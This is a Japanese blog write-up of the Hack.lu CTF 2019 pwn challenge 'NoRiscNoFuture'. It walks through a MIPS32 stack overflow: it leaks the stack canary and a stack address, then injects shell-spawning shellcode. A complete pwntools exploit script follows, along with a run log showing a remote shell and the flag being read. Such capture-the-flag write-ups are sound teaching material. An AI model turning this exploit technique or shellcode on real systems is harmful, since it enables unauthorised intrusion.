newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 12.0】 NoRiscNoFuture - Hack.lu CTF 2019

 

【自動投稿 from 2019.10.24 22:00 @ 2019.10.24.19:10】

 

 

 

 

1: イントロ

いつぞや行われたHack.lu CTF 2019

学科の課題だったり復習だったりが溜まっていたため絶対に参加しないと心に決めていた

簡単なやつ一問だけならいいかな。。。と思い

1問だけ解いてフラグを取ってすぐ撤退した

変なところでつまずいていなければfirst blooding取れたはずなのだが、つっかえてしまい3番目になってしまった

(まぁ自分に解ける=メチャメチャ簡単なんだけど)

 

解いたのは pwn NoRiscNoFuture




2: 表層解析

./no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=8d9728e98717452e43b6e32ff3e19002c7fa2d5d, not stripped
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

セキュリティ機構ガバガバ

但しMIPS32上で動作するプログラム

 

x86以外の解析はほとんどしたことがない

(大熱血アセンブラでおおよそ雰囲気を掴んだぐらい)

 

デバッグ方法で少しつっかえたが

vanila gdbならqemuで-g 1234でポート開放をしておきそれにアタッチすればよく

pwntoolsではdebug()によって勝手にqemu上でプログラムを実行してくれるらしい






3: 脆弱性

ざっと見

いくらMIPSといえどもELFであり使っているのはlibcである

最初の解析自体はいつもどおりGhidraで行えば良い

 

ものすごくシンプルなStack overflowがある

canaryはあるもののcanaryのleakもできるため問題ない

さらにNX disabled故shellcodeをスタック上で実行できる

問題はスタックの構造がどうなっているかだ

 

 

スタックの構造

Aを数回入力した後のスタックの状態は以下の通り

0x00400634 in main ()
(gdb) x/30xw $sp
0x7fffec98:	0x00498300	0x7fffedc4	0x7fffef9f	0x004002d4
0x7fffeca8:	0x00498300	0x0041fb68	0x00000000	0x41414141
0x7fffecb8:	0x41414141	0x41414141	0x41414141	0x00400e0a
0x7fffecc8:	0x00000000	0x00000001	0x7fffedc4	0x004218c4
0x7fffecd8:	0x00498300	0x00000000	0x00000000	0x00400e60
0x7fffece8:	0x00000000	0x00000000	0x00000000	0xe25a8d00
0x7fffecf8:	0x00000000	0x004008e8	0x00000000	0x00000000
0x7fffed08:	0x00000000	0x00000000

 

この問題を解くのに限定すればMIPSを読める必要なんて一切ない

canaryは0x7fffecf4に入っている

何回か実験した結果canaryの下1byteは常に0x00であったため

まずはここまでoverflowしてcanaryをリークする

 

さらに0x7fffecd0にはスタックのアドレスと思わしきものが入っている

こいつとユーザバッファの開始地点(0x7fffecb4)とのdiffは常に0x50であった

故にこいつをleakすることでスタックベースを求めることができる

 

続いてRAの書き換え

CPUごとに関数呼び出し規約こそ違うものの

このスタックを見るに退避されたフレームポインタやRAと思わしきものが転がっている

(gdb) x/i 0x4008e8
   0x4008e8 <__libc_start_main+568>:	lui	t9,0x40

 

確かにこれがmain()のスタックフレームのRAであるようだ

よってスタックの構成はx86と殆ど変わらないと仮定して進めていく

 

 

ここまででstack base / canaryをリークできているためあとはshellcodeを注入すれば終わり

shellcodeはシェルストームに落ちていたMIPS用のものを使った

 

 

だがしかし

実行してみると以下のようなエラーが出た

Program received signal SIGILL, Illegal instruction.
0x7fffecf8 in ?? ()
(gdb) 

 

いざエラーが出るとそのアーキテクチャを知っていないとデバッグが難しい

 

しかし今回はpayloadのパディングを"A"ではなく"\x00"にしたら解決した

(これがなぜかは調べてないからわからない)

これさえなければ確実にfirst bloodingとれたのに。。。






4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./no_risc_no_future"

rhp1 = {"host":"noriscnofuture.forfuture.fluxfingers.net","port":1338}
rhp2 = {'host':"localhost",'port':1234}
context(os='linux',arch='mips')
binf = ELF(FILENAME)

shellcode = "\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"

def exploit(conn):
  print("connected")

  conn.send("A"*(16*4+1)) #last byte of canary is always 0x00??
  conn.recvuntil("A"*(16*4+1))
  canary = unpack(conn.recvline()[:-1].ljust(4,'\x00'))
  canary = canary << 8
  print("[+]canary: "+hex(canary))

  sleep(1)
  conn.send("A"*(4*26))
  conn.recvuntil("A"*(4*26))
  stack = unpack(conn.recv(4).ljust(4,"\x00"))
  print("[+]stack: "+hex(stack))
  stack_shellcode = stack-0x50+0x4
  print("[+]stack shellcode: "+hex(stack_shellcode))

  sleep(1)
  for i in range(0xa-(1+2)):
    print("sent")
    conn.sendline("A")
    sleep(0.5)
    conn.recvline()

  sleep(1)
  payload = shellcode
  payload += "\x00" * (4*16 - len(payload))
  payload += p32(canary)
  payload += "\x00" * (4*18 - len(payload))
  payload += p32(stack_shellcode)
  conn.send(payload)

if len(sys.argv)>1:
  conn = remote(rhp1["host"],rhp1["port"])
else:
  conn = gdb.debug("./no_risc_no_future")

exploit(conn)
conn.interactive()






5: 結果

[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
connected
[+]canary: 0x7d7fc000
[+]stack: 0x7ffffd30
[+]stack shellcode: 0x7ffffce4
sent
sent
sent
sent
sent
sent
sent
[*] Switching to interactive mode
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
Ps\x06$\xff\xff�Ps\x0f$\xff\xff\x06(���'��\x0f$'x�! ��\xff\xa4\xaf���\xaf���#\xab\x0f$\x0c/bin/sh
/chall $ $ ls ./
ls ./
flag                no_risc_no_future   qemu-mipsel-static
/chall $ $ cat flag
cat flag
flag{indeed_there_will_be_no_future_without_risc}/chall $ $ 





続く